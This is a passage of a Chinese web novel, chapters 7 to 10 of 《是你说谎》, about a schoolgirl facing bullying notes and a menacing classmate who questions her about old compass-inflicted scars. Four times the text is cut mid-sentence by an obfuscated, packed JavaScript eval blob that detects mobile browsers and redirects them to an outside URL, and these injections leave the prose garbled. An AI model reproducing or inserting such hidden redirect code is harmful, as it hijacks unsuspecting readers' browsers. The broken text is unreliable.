《是你说谎》 7. 白露(四) 听到她的恳求,江斯澄随意捻起一张纸条,快速浏览了一下,戏谑地说:“这些骂人的话骂得真难听。” 想到这些不文明的用语都是骂自己的,脸皮薄的喻挽灵觉得有点难为情。 “我要是你,就会直接当面揪出写纸条的人。” “可是……我揪不过来,只有管理员才有资格检查每一本还回来的书,我又不是管理员,什么都做不了,连这些纸条是谁写的都找不到……” 江斯澄将手中的纸条丢回桌上,慢悠悠地说:“图书室需要管理图书的志愿者,一般是学生会出人,按理来说,你不是学生会的人,没有资格竞选……”说到这里他话锋一转,“但是我跟学生会会长关系不错,我可以找她通融一下,让你做一星期的图书管理员,你就可以负责收她们还回来的书。” 喻挽灵很意外,眼睛瞬间亮起来,她先是不可置信地感叹了一句“真的吗?!”,看到他肯定的眼神,她真诚地跟他连声道谢,感激地说:“谢谢你帮我!麻烦你帮我去找学生会会长真的很不好意思……” 不知道是不是错觉,她觉得江斯澄此时看自己的目光忽然带着些鄙夷。 “不需要这么感激,根本没人愿意做这个志愿者,就你上赶着去当。” “不是我上赶着当。”喻挽灵认真地否认,“是因为没有办法,我得揪出写纸条的人。” 江斯澄并不关心她的理由,神情有点不耐烦,好像不想和她继续多说话,于是留下一句“事成我会在微信告诉你。”便走了。 做志愿者的事很快就定了下来,喻挽灵真正成为这个志愿者以后,终于明白为什么没人愿意当了。 因为得在课后的时间来帮忙,而且图书室的工作还挺多的,要打扫卫生、协助老师整理书籍等等,图书室只有一个后勤老师管理,喻挽灵一来,后勤老师好不容易有个打下手的人,就丢了许多繁琐的工作给她做。 成为了志愿者以后,等于没什么休息时间,课后就得来帮帮忙,想到只当一个星期的志愿者而已,她觉得也不是不能忍受。 时间有限,她得抓紧时间多逮点搞恶作剧的人,每还一本书,她都会当面翻开检查。 才第一天,就被她逮到好几个人。这几个学生进来以后才发现喻挽灵成为了志愿者,但是书已经放在了前台,逃也逃不掉了。喻挽灵拿出纸条亮在来人眼前,严肃地要求对方道歉。 被现场抓到,人赃俱获,每个人的反应也不一样,有的人厚着脸皮死不承认,咬死自己不知情;有的人脸皮薄一点,想小事化了,小声道了歉赶紧开溜;有的人对此表示无所谓,当面戳穿也一副不痛不痒的样子,直接承认就是自己写的,然后吊儿郎当地道声歉,还调戏般地冲她吹声口哨。 接下来的几天,还过来的书籍里再也没有夹纸条了。喻挽灵猜测:应该是大家都知道了她就守在图书室,就没在里面夹纸条了,避免被她现场抓包。 就这样风平浪静地度过了几天。 周五是喻挽灵做志愿者的最后一天,趁着手头空闲的时候,她把桌上的绿萝都抱去公厕浇水。后勤老师应该很少打理这些绿萝,这么好养活的绿植都被养得没有了生气,茎叶像煮烂的面条一样瘫软在土壤上,焉不拉几的。 喻挽灵不喜欢死气沉沉,她喜欢看植物朝气蓬勃的样子,所以她决定在走之前好好打理一下。她细心地将枯黄的叶子都折掉,看到一盆盆的绿色,心情也明朗许多。 打理完成,喻挽灵将绿萝尽数抱回,全部摆回原位。 处理完绿萝,她开始收拾前台收回的书本,一本本分类放回书架,走到西方文学区时,意外地看见一个熟悉的面孔。 是江斯澄。 他倚靠在窗边,低着脸安静地看书。 喻挽灵犹豫了一下,然后轻手轻脚地走到他旁边,向他道谢:“谢谢你,他们向我道歉了。” 江斯澄眼皮都没抬一下,漫不经心地翻了一页书,说:“那样也算道歉吗?” 喻挽灵回想了一下,那些人的态度确实很不诚恳,就算听到了他们的道歉,心里也还是有点不太舒坦。可是她转念一想,虽然他们态度不怎么样,但是确实亲口说了对不起,后面她也没再看见小纸条了,勉强算他们“认错”了吧。 “算吧,我觉得能让他们当着我的面和我说对不起已经可以了,后面我也没再看见纸条了。” 听到她的回答,江斯澄垂着眼打量她,冷冷地嘲讽说:“这样就知足了?如果是我,我一定会以牙还牙,不会随便罢休。” “怎么算以牙还牙呢?”喻挽灵好奇,“难道我也写纸条骂回去吗?那我这样和他们有什么区别?” 江斯澄还没来得及回答,一个女声打断了他们。 “还书!” “来了!”喻挽灵大声应道,从一排排书架穿梭出去。 她拿起还给过来的书,先登记了一下,然后如平常一样翻阅检查。由于这几天归还的书都没有夹纸条,她查阅得比较随意,本来都打算随便翻一下就收起来的,没想到一打开就看见了里面夹了一张写满了对话的纸。 是好几种不同的的字迹。 这张纸仿佛是一个纸质聊天框,大家在纸上聊得很开心,洋洋洒洒写了许多,但是内容都是嘲笑她的,有些脏话甚至骂得很难听。 这些不*堪入目的脏话看得喻挽灵面红耳赤,她捏起纸张,放在这个女生面前,愤怒地盯着她,“你这是什么意思?” 女生毫不羞怯,吊儿郎当地说:“能有什么意思?不就是你看到的这样啊!” 喻挽灵瞪着她,气愤地要求:“道歉!” 她当图书管理员已经当了五天,这个女生不可能不知道,可是她却丝毫不避嫌,就这样明目张胆地来还书,还任她看,根本就是在赤*裸*裸地挑衅她。 女生拒绝道歉,转身就走。喻挽灵三步做两步追上她,拽住她不让走,她倔强地再次要求:“你道歉,是你做错了!骂人本来就不对,而且我也没招你惹你,你不能这样随便写我坏话。” 女生用力甩开她,不服气地反驳:“凭什么是我道歉?怎么戴了眼镜还这么瞎?没看出来这是好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183257|165385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个人写的吗?凭什么只叫我道歉?你有本事就把另外几个人找出来一起道歉啊!” “我抓到了你,你就先道歉!” 听到这话,女生仿佛听到什么笑话一样,挑眉嘲讽她:“你拽什么啊,反正你也就敢抓我们而已,这件事还有个人参与了,就算我告诉你是谁,你也不敢找他麻烦。” 喻挽灵沉声问:“你说的人是谁?” 女生笑了一声,“是江斯澄啊!最开始是我们班一个人写的,但是被江斯澄看见了,你猜他怎么说?” 喻挽灵沉默地看着她,等着她说下句。 “他问,就这样一张纸条,你本人看得见吗?要写就多写点,要让你看得见。”说到这里,女生的语气嚣张起来,“怎么样,你敢去找他吗?有本事你就去找他,看看他会不会给你道歉。” 女生本以为这番话会让喻挽灵怂下来,没想到再次被她抓起手腕。出于本能,她想甩开喻挽灵,却意外地看见喻挽灵露出一副看好戏的表情。 “是,我没本事让他对我道歉,但是我有本事带你去找他对峙,看看你说的是真是假。” 女生还没反应过来,就被她拽走,连走带跑地穿过一列列书架,走到了江斯澄面前。 她们刚刚的对话声并不小,江斯澄所在的位置可以听见。所以她们两个人出现在他面前时,他已经合上了书,懒懒地倚靠着窗台,一副等候多时的姿态。 女生看见江斯澄的那一瞬间,知道自己的“告状”都被他听见了,脸色变得惨白,嚣张跋扈的气焰也消退得一干二净。 “江斯澄,你刚刚应该也听见了我们说的话……”快步行走导致喻挽灵的镜框有点下滑,她把眼镜推回鼻梁,然后抬起脸仰视他,认真地问:“她说的是真的吗?” 现在快到了晚自习的时间,窗外天色渐暗,他的发色和眼眸比降临的夜色还黑上许多。 “是,不仅这次是我怂恿的,上次你被他们用力推的第二下,也是我默许的。我可以直接承认,但是你又能拿我怎么样?” 女生不可置信地睁大眼睛看着江斯澄,张口想说什么又忍住了。 而江斯澄则好整以暇地靠着窗台,玩味地看着喻挽灵。 如果这个怂恿者是别人,喻挽灵一定会生气地要求他道歉。可是,这个三番两次从中作梗的人,偏偏是他。 当初看他的第一眼,还真以为他是个乖巧懂事的三好学生,现在的这幅面孔倒是让她把眼前的江斯澄和“问题儿童”的形象稍微重合了。 无害的脸,单纯的坏。 明着整事,阴着使坏。 他们说得对,她确实不能拿他怎样。不是因为不敢,而是因为……她和他的关系不能变得水火不容。 深深的无力感笼罩着她,她垂下肩膀,在江斯澄玩味的注视下,颓丧地别开了脸。 三个人的站位形成一个三角区,搅事的女生看着江斯澄,江斯澄看着喻挽灵,喻挽灵谁也不看,垂着脑袋一声不吭。 这一刻的气氛沉默又紧张。 三个人各怀心思。 8. 白露(五) 喻挽灵有自己的难言之隐,心里无奈,也没了追责的心情,干脆放过这个女生。 喻挽灵和江斯澄站在原地,共同注视着女生逃也似地离开。 等她的身影从两人目光中完全淡出时,江斯澄嘲讽地问喻挽灵:“你就这样放过她了?” “不然呢?”喻挽灵淡淡地反问,“我没有你这么‘高贵’的身家,没办法做到人人都怕我。她非要耍赖不道歉,我也确实没办法。” “是你太容易心软,真要报复回去,有的是办法。” “我只喜欢光明磊落的方法,下三滥的手段我是不会用的,我不想成为和他们一样无耻的人。” 江斯澄并不认同她的观念,无语地瞥了她一眼。 思想不合,没办法继续交流了,喻挽灵干脆闭上嘴,转身去收拾书架。 一旁的江斯澄小声讥讽一句“成事不足败事有余”,一边用手机给秋岚传讯息:妈,你现在有时间吗?我想跟你说件事。 发送完成,他又继续输入:把喻姨换掉吧,别让她们住我们家了,她们来我们家是为了…… 还没输完,喻挽灵发出的动静吸引了他的注意。 她在书架前不停地蹦跳,想要把手上的书放上去。 有本书是要放在最上面的,她的个子不够高,只能伸长了手臂努力往上蹦。胳膊抬起来的时候,衣服也在往上缩,露出了小半截腰身。这个年纪的女孩正青春,基本都长得细皮嫩肉的,但是她不是。 喻挽灵露出的那节腰身,并没有年轻女孩该有的光滑和细腻,而是有许多拇指大的暗印,像是受过皮下伤而留下的退不去的印子。除此之外,还有许多密密麻麻的不规则黑点,这些黑点像没完成的失败刺青,要是被密集恐惧症看到,估计会头晕反胃。 喻挽灵跳了好几次,终于勉强把那本书塞进书缝,但是又没完全塞进去,她一放手,书就跌落在地上。喻挽灵弯下腰去捡,当把她将整个上半身折下去时,露出了更多的黑点,看起来更加触目惊心。 喻挽灵捡起书,一转身就撞进了江斯澄打量的目光。她以为他已经走了,没想到还在这里。 想到刚刚自己好像露出了后背,她顿时紧张得冒冷汗,并下意识地用手扯了扯衣角,想把衣服再揪下一点。 好在江斯澄只是多打量了她一眼,没有多嘴询问,放下书转身走了。 喻挽灵这才稍稍放松了一些,她擦掉额头上的冷汗,机械地继续做手上的事情。心思正飘忽,她忽然看见了上次江斯澄看的那本书——《登天之梯》。 她好奇地拿出来翻阅,发现这是一本儿童咨询师的诊疗笔记,书里分享了好几个案例,都是儿童遭遇了童年创伤而行为异常的事例。 这让喻挽灵挺意外的,没想到他还会看这种书。 那个搅事的女生没走多远,又折返回去找江斯澄,因为江斯澄托人给她传达了消息:叫她回去找他。 她以为江斯澄是找她兴师问罪的,一走到江斯澄面前就赶紧认错,用极其诚恳的语气和他道歉:“对不起!她当时总拉着我要我道歉,我就想借你的名义吓吓她……”她一边说一遍小心翼翼地观察着他的脸色,看到他的脸色没什么异样,胆子渐渐大起来,忍不住问他:“那句话不是你说的……而且你也没参与这事,你……为什么认了啊?” 她实在是按捺不住心里的好奇,江斯澄和喻挽灵又没什么交情,他干嘛要背这个从天而来的锅啊? 江斯澄冷淡地瞥了她一眼,说她多管闲事,叫她别多嘴问东问西。 女生尴尬地闭紧了嘴巴。 “你写道歉信,向她公开道歉。”江斯澄说出了找她的目的。 女生不可置信地瞪大眼睛,反问:“凭什么?又不是我一个人写的,凭什么就我去公开道歉?我不干!” 江斯澄冷笑,“你们做这种烂事,做的时候个个要逞英雄,要认错的时候谁也不愿意出头。反正明天我要在一楼的公告栏看见道歉信,你要是不甘心就多拉几个人写。” 女生气得七窍生烟,抿着嘴巴生闷气。 江斯澄讨厌和别人多费口舌,交代完事情就直接走人,走的时候,口袋里的手机震动了一下,他走到一个无人的角落查看手机。 是秋岚给他发信息了。 她回复了他的上一条信息,问他:“你要说什么事?” 他的打字框里还留着那句话——“把喻姨换掉吧,别让她们住我们家了,她们是为了”,他把这句话未打完的话逐一删除,直接发了一条语音:“今天晚上叫喻姨不要给我准备水果,我不想吃。” 秋岚很快就回复了消息,说“好”,过了三秒,又发来一条消息:这周末我有个广告要去拍,我会叫喻姨监督你喝药,不许糊弄她,别又偷偷倒药。 江斯澄再次回复了一个“好”字。 图书室志愿者的工作终于结束,书里的纸条全部被喻挽灵亲自清理,她终于没再看见辱*骂她的纸条。离开之前,她打理好桌上的绿萝,最后检查了一下图书室的卫生,确认最后的工作都完成了才离开。 放学的时候,学生们从教学楼鱼贯而出,人潮在一楼的公告栏前停滞下来,许多人凑在公告栏前议论纷纷。 喻挽灵不爱凑热闹,一直在人缝里钻来钻去,想快点挤出人群。她专心低头找路,忽然在鼎沸的议论声中听到有人在大声叫自己的名字。 她赶紧抬起脑袋,垫着脚尖四处寻找叫自己的人,发现原来不止一个人在呼喊自己。 周围的人叫她去看公告栏,喻挽灵还没反应过来是怎么回事,就稀里糊涂地被大家拉到了公告栏前。 “喻挽灵!你看!有人给你道歉哎!” 喻挽灵顺着他们手指的方向看过去,看见了一封道歉信。 这封道歉信很长,但是每一个段落的字迹都不一样,明显是好几个人联合写的。大意是不应该恶意写纸条,向她慎重道歉。 道歉信没有署名,不知道是谁写的。 喻挽灵觉得好奇怪,那些被她当场抓到的人都当面道歉了呀,而且看他们不服气的道歉态度,都不像是会写公开信的人。 怎么会突然这样大张旗鼓地和她公开道歉呢? 她百思不得其解。 公告栏是不允许学生私自张贴东西的,这封道歉信很快就被值日生撕掉了。虽然留存的时间很短,但是大家口口相传,高三的大部分学生都知道了这回事。 不过,有了这封匿名公开信,传纸条的恶作剧也终于迎来了尾声,暂时没人恶搞她了。 周日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183258|165385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只用补半天课,喻挽灵喜欢在周日的下午补一个长午觉。 吃完午餐,她背了一小时的课文,正想换睡衣上床,房间门被敲响了。 她知道是母亲来找她了,立刻跑去开门。 喻香秀一进来就把门关紧,小声和她说:“今天秋岚不在家,她去外地拍广告了,她交代我要监督江斯澄喝中药。他的中药现在还在熬。待会儿你……” 喻挽灵立刻接她的话,“待会儿让我端过去给他是吗?” “对。” 喻挽灵沉默了,有点不太情愿的样子,因为她对江斯澄的印象越来越糟糕了,所以不是很想去和他单独相处。 “怎么了?你不想去吗?”喻香秀看出了她的不情愿。 “是有点不愿意。”喻挽灵承认了,“我觉得他不太好相处。” “那当然会不好相处了,他的家庭和普通人不一样,肯定会有点少爷脾气。” 喻挽灵在心里嘀咕:他可不只是有少爷脾气这么简单。 但是她又明白,要想不受委屈,就只有远离江斯澄这一个办法,可是接近江斯澄是她必须去做的事,所以她也只能咬碎牙往肚子里咽,不想说出来令母亲为难。 “好吧……我知道。但是我现在只知道我们要想办法去和他搞好关系,可是搞好关系之后下一步又要做什么呢?” 喻香秀还是不肯告诉她,“你不需要知道下一步要做什么,先完成眼前的事。” “好吧……我明白了。” 通往江斯澄房间的路线已经被她走过一次,加上现在又是白天,她很快就走到了他的房间门口。虽然心中万般不情愿,但她还是在江斯澄开门的时候挤出一个生硬的笑容。 “这是你的药,已经晾了一会儿,不会烫。” 江斯澄淡淡地瞥了她一眼,伸出一只手端过汤碗,另一只手去关门,却被喻挽灵拦着不让他关。 “等下!秋阿姨特意交代了,说要当面喝完,还说要录视频发给她看,确定你是真的喝……” 她一边说一边把右手伸进口袋里掏手机,江斯澄乘着她分神,毫不客气地用力关紧了房门。 “江斯澄!江斯澄!”喻挽灵着急地拍房门,可是江斯澄完全不理会她,应都不应一声。 喻挽灵心里焦急,心想完了完了,秋岚交代的事情都没完成,她走之前特意和母亲交代了,说一定要守着他喝完,还要拍视频发给她。这下好了,不仅没拍到视频,还不确定他会不会真的喝。 更重要的是——这碗药是她端过去的。 秋岚特意说过不许他们有接触,要是追究起来,也不知道江斯澄会不会说出去。 这下不仅没达到她们预想的目的,事情还被她搞砸了,她既焦急又不甘心,想着再主动找他,可是一时半会儿不知道找什么理由。 偏偏这时,喻挽灵的手机响起一声微信提示音。 她拿出手机查看,有些不可置信:居然是江斯澄主动邀约她? “下午5:30,来二楼的餐厅。” 再过了半分钟,又接连收到母亲的信息:“挽灵,刚刚江斯澄叫我要备两份晚餐,说另一份是你的。他怎么会主动找你?” 是啊,喻挽灵自己也奇怪,他为什么会主动约自己呢? 9. 秋分(一) 喻挽灵如约来到了小餐厅。 这个小餐厅不大,南边有个落地观景窗,窗前摆了一个软沙发。餐厅的正中间是4人座的餐桌,江斯澄平时就在这个小餐厅吃饭。 江斯澄到得比她早,她进来时,一眼就看见他坐在沙发里,坐姿散漫,手中把玩着一个圆规。 这毕竟是他的家,于情于理她都不好意思一来就坐下,而且她也不确定他常坐哪个座位,她可不想冒犯他。于是,喻挽灵礼貌地低声询问:“……我可以坐哪里呢?” 江斯澄的目光转过来,落在她的手边,“坐你右手边的那个座位。” 还真给她指定座位了。 喻挽灵庆幸自己先问了一下,不然可能一不小心又得罪他。 饭菜还没上桌,两个人就在餐厅里干坐着,江斯澄一直在看窗外风景,喻挽灵则低头盯着餐桌,这气氛……安静得令人尴尬。 喻挽灵心里琢磨:自己已经立了爱主动往上贴的人设,那就别矜持了,他不理睬自己,自己就主动找他说话,而且她也确实有事情要和他确认。 “你的药……喝了吗?” 这是她目前最关心的问题,毕竟秋岚为了防止他不喝,特地要求要现场拍视频,要是他喝掉了还好,要是没老实喝药,还顺便抖出是自己给他送的药…… “没喝。”江斯澄也毫不遮掩,大大方方地承认,“太难喝了,我倒了。” 啊?!他还真的倒掉了啊? 喻挽灵最担心的事情还是发生了,她担心地问:“如果秋阿姨问你,你也会老实交代说你倒掉了吗?” 如果他在秋岚面前撒一下谎还好…… “那我也会承认我倒了。” 喻挽灵无语凝噎。 她不说话,江斯澄也没话说,气氛又冷下来。 好在已经到了饭点,喻香秀开始上菜,江斯澄也从沙发起身,走到餐桌前入座。 三菜一汤很快就上齐,紧接着,喻香秀开始分发餐具。喻挽灵看到自己分到的餐具是一个瓷碗、一把勺子和一双筷子,可是的江斯澄用的餐具不一样,他用的不是碗,而是一个餐盘。 拿到餐盘以后,江斯澄开始往餐盘里添饭添菜,而喻香秀则站在一旁看着他添菜。 与其说是“看着”,不如说是“守着”更贴切一点,因为喻挽灵知道,母亲要监督他把自己的餐盘添满。喻香秀和她说过,秋岚和江斯澄这俩母子的脾气都怪怪的,江斯澄从小就对任何食物都没兴趣,如果让他像别人一样一边夹菜一边吃饭,他可能什么菜都不吃,直接吃完碗里的白米饭就不再吃东西了。所以秋岚想出一个解决办法,她规定他要在吃饭前先把整个餐盘装满饭菜,然后把吃饭当成一件必须完成的任务去解决。 喻香秀守着他填添满饭菜才离开,餐桌上的两人终于开动。 可能还惦记着上次喻挽灵的嘴里吃着饺子还和他搭话的样子,所以他在动筷之前还特意和她强调:“你想吃什么、想吃多少你随意,但是跟我一起吃饭的时候不许说话,嚼东西也不可以有声音,吃要有吃相。” 喻挽灵点点头表示知道。 她不是个厚脸皮的人,被他这样特地提醒,搞得她很不好意思,吃饭都吃得不自在,如坐针毡一般,不敢发出一丁点声音,就连盛汤都小心翼翼的,生怕汤勺刮到碗底制造出“噪音”。 江斯澄对她提出了要求,对自己的要求也不低,他把用餐规矩贯彻得很彻底。他吃饭很斯文,于举手投足之间透露出他的良好教养。例如——坐着的时候绝不驼背,脊背笔直,咀嚼的时候慢条斯理,用筷子和勺子的时候也绝不会在饭菜堆里乱扒拉,而是按照从下往上的顺序吃。 喻挽灵把他这样循规蹈矩的样子一一看在眼里。她觉得他像一台机器,虽然举止文雅,但是过程极其程序化:到点就用餐,也不管吃什么菜,反正要把餐盘装满,装满了就要吃干净,一粒米也不剩。 在这个过程中,无法从他脸上看出一丝丝享用美食的愉悦感,吃完了也不贪嘴,绝不会再添饭菜,也不会因为饱腹而露出满足感。吃饭对他而言,好像就只是为了维持生命机能、补充一些身体生长发育所需要的营养素而已。 喻挽灵把剩下的菜都夹到自己碗里搜刮干净,快速解决以后拿出纸巾低头擦嘴。 “有这么好吃吗?”江斯澄不解。 “一是确实好吃,二是不想浪费。对于我们这种家境普通的人来说,这种昂贵的菜是一年到头也吃不上几次的,一些名贵的山珍海味,有些人甚至一辈子都吃不上,像我小时候连海鲜都没吃过……”说着就不小心提到了自己的过往,她抬起眼皮偷偷看了他一眼,看他没有露出不耐烦的神色,便想继续说下去,试探一下他的反应,看看他会不会反感她说这些。 “小时候,我家很穷,我连零花钱都没有。我就好喜欢帮我妈跑腿买东西……”说到这里,她顿了顿,又观察了一下江斯澄的反应,他已经靠在了椅背上,一副气定神闲的样子。看他好像有点兴趣,喻挽灵渐渐大胆起来,继续说:“因为有时候帮她跑腿能拿到几毛钱零头,但是都被我拿去买那种一毛钱一小包的零食了。哎,说到这个,我到现在都还记得,有一次我看中一个一块钱的零食,攒钱攒了好久,买来放书包里想放学吃的,结果被同学给偷了,我到现在都不知道是哪个同学盯上了我的零食。” 说完之后,江斯澄没有接话,只是若有所思地垂着眼,转动手上的圆规。 喻挽灵注意到,她从进入这间餐厅开始,这个圆规就一直在他手里。 空气沉寂了半分钟,江斯澄不接话,喻挽灵就自己往下接话,“唉,你没被偷过东西,可能体会不到这种爱惜的东西被人偷走的心情……” “不,我也被别人偷过东西,也是在小学的时候。”这下,江斯澄忽然接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183259|165385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的话茬了。 喻挽灵惊讶地“啊?”一声,不过她不是惊讶于他“被偷”这件事,而是对于他“在认真回答自己”这件事感到惊讶。 看他一直不搭话,她还以为他压根没认真听呢,看来他还是会对自己说的事情感兴趣,那她以后得多琢磨一些能让他有兴趣的话题。 江斯澄继续陈述:“我特别恨别人拿我喜欢的东西,所以我没有放弃寻找‘小偷’,抓到他以后,我警告了他。” 难得听他讲述自己的事,喻挽灵装作十分有兴趣的样子,问:“警告有用吗?” “有用,”江斯澄居然还笑了一下,刻意强调:“特别有用,我把方法告诉你,你要是能学到,就不会再有人敢欺负你了。” 喻挽灵继续装,装出很想学的模样,侧耳倾听,听他继续分享。 “抓到‘小偷’以后,我用圆规在他手臂上刻了‘小偷’两个字,但是我觉得这样不够,肉长好了就没痕迹了,所以在伤口好之前,我还泼了墨水上色。”说完,他用右手支住下颌,露出狡黠的笑,“这个方法,你觉得怎么样?” 喻挽灵脸上的笑容变得僵硬起来。 这下,江斯澄兴味十足,他把圆规放在桌上,推到她面前。 “这个圆规,你真的不记得吗?” 喻挽灵嘴角僵硬,愣愣地看着桌上圆规,没猜出他究竟是什么意思。 江斯澄关掉餐厅灯,餐厅立刻漆黑一片,下一刻,一束灯光直射喻挽灵的正脸。 喻挽灵抬起手臂挡了一下灯光,等眼睛适应了这阵强光以后,她终于看清楚,原来是开了一盏射灯,这个射灯的光源刚好投射在她坐的位置。 “你之前说你小时候买了那本杂志,当年那本杂志的零售价是5元,你就连一元钱都要攒好久,那你攒得到5元吗?所以……你究竟有没有买那本杂志?” “……” “还有,那篇报道我的文章里面配了一张图片,就是这款圆规。你之前说你看了那篇报道,可是今天看你的反应……好像对这把圆规很陌生。你的话前后不一致,我究竟该信哪句?” 他的说的话让喻挽灵的脊背窜起一阵寒意,她死死盯着这把圆规不说话。头顶的射灯直直照向她,这让她感觉自己像一个被审问的犯人,脸上的心虚被灯光暴露得一览无遗。 每次主动找他搭讪的时候,江斯澄都是一副冷冷淡淡的样子,她一直以为他没认真听她讲话,没想到他这么细心,不仅听进了她的每一句谎言,还记得一清二楚。 怪不得他会指定她坐在这个位置,因为这个位置正对这盏射灯,方便他“审”她; 怪不得他总在她面前显摆这把圆规,因为想看看她有没有什么反应; 怪不得他今天会主动邀约她共进晚餐,因为这是他故意设的局。 原来,从她走进餐厅的那一刻起,他的试探就已经开始。 10. 秋分(二) 这样一想,喻挽灵瞬间就明白了,他看起来漫不经心,面对她也并不积极主动,可能就是故意的,等她主动急不可耐地暴露更多细节。 喻挽灵镇静下来,抬起眼睛正视他,而江斯澄也在眉目含笑地打量她。俩人目光交互,暗自较量。 她知道自己的话有破绽,毕竟是她随口扯的谎话,但是她怎么也没想到,他会把她前后说的话给串起来捋清楚逻辑关系。现在再来否认会显得更假,要不然就将错就错,承认自己确实撒谎,买不起那本杂志,没有看过那篇文章。 “我确实没看过。” “那你为什么要撒谎?” “因为我找不到合适的理由来认识你。” “为什么要认识我?你接近我有什么目的?” “哪个女生不想接近你呢?”喻挽灵不答反问,“你可是大明星秋岚的儿子,既有钱又长得好看,我当然会对你有好感……”面对他接二连三的反问,她不敢停顿太久,脑袋飞快运转的同时,嘴上也飞速作答,但是说到最后一句,她不知道该用什么词语去形容,等“好感”这个词已经从嘴里说出来的时候,她才发现容易让人误会,又赶紧解释:“我说的‘好感’不是那种喜欢,呃……反正就是对你印象很好的意思……” 江斯澄好像并不在意她说的“好感”是什么意思,他侧过脸,一副不想听的样子。但他并没有打断她说话,等她说完以后他开口又问了一个问题。 “你背后的那些东西,是不是七年前刻的?” 一听到这个问题,喻挽灵不受控制地猛抬头,紧张地瞪着江斯澄。 他怎么会猜得这么准?! 俩人的目光再次碰撞,在空气中进行激烈的交锋。在这场无声的战役中,喻挽灵很快败下阵来,她垂下脸,目光飘向了别处。 她努力想让自己镇静下来,可是那段经历太痛苦,只要稍微提及,一幕幕的回忆就会像放电影一样,开始在她的脑袋里自动播放。 12岁的她蜷缩在带霉味的被子里,堂哥拿着圆规在她背后密密麻麻地扎图案,堂姐用力捂住她的嘴唇,压低声音威胁她:“不许发出声音!” 当时她只能强忍着疼痛默默流眼泪,眼泪把枕巾都打湿了一半。 江斯澄看着眼眶已经泛红的喻挽灵,在明亮的灯光下,她的任何微表情都逃不过他的眼睛。 “以前我就给那个小偷‘写’了两个字,他就不停地嗷嗷叫,像你这种程度……当时会不会觉得生不如死?”说到这里,江斯又问:“你当时应该很痛吧?” 他的问题听似关心,可是表情却没有丝毫同情,更像幸灾乐祸。他继续说:“七年前,那本杂志报道了我的事情,但是发行不到一个月,就被紧急撤刊了,杂志社紧急收回还没卖出去的期刊,你知道是为什么吗?” 喻挽灵的视线落在圆规上,虽然她已经被回忆搅乱了心神,但是还是能理智地思考。她将过去的情景和他的话联系起来,试图找出共同点,忽然在繁杂的回忆里抽出了一丝线索。 “七年前他们是用圆规扎的……那本杂志……也是那年出的……他们……是不是在……模仿你?!” “看来你不算特别蠢,”他变相地认可了她的回答,虽然话说得不太好听,“当时很多傻缺小孩觉得这样很酷,居然也想试试圆规‘刺青’。” 喻挽灵有印象了,她记得堂哥还问了堂姐一句:“看下那本书,她儿子是怎么弄的来着?” 看来他们说的“那本书”就是那本杂志。 这时,江斯澄拿起圆规,放在手心里转了几圈,漫不经心地说:“我妈妈不是要求你们录我喝药的视频吗?其实我自己录了,你拿出手机来,我传送给你。” 话题突然急转弯,让喻挽灵懵了,她愣愣地拿出手机,伸长手臂递向他。 结果手才伸过去,就被江斯澄用圆规的尖头抵住。 他的一连串动作快如闪电,一气呵成。喻挽灵根本没时间反应,后知后觉地发现自己上了当。那根尖针抵着她,那块肌肤被压得往下凹,只要她敢动,他稍一发力就能划破她的皮肤。 喻挽灵盯着这把圆规,紧张地问他:“你想做什么?!” 话一出口,她才发现自己的身体已经不受控制地恐惧起来,喉咙发紧,声线也在颤抖。 “你费劲心思在我面前刷存在感,真正目的究竟是什么?” 喻挽灵瞬间明白了:他想逼出她的实话! “什么?什么目的?”她装傻,假装不明白。 江斯澄冷笑一声,扬起手中的圆规,作势要动手,喻挽灵这回是真的怕了,瞳孔都不受控制扩张,她失神地大喊:“是我妈妈叫我要多讨好你!” 江斯澄停止动作,听她说。 “我妈妈说你们家有钱……我要是能和你拉拢关系……说不定能捞点好处……”她说得很急,生怕他不信,还加重语气强调。 江斯澄嗤笑一声,放开她,还示意她去看她那双不停颤抖的手。 “可是你抖得很厉害,是因为还在撒谎而心虚……还是害怕我在你手上‘写字’? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183260|165385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 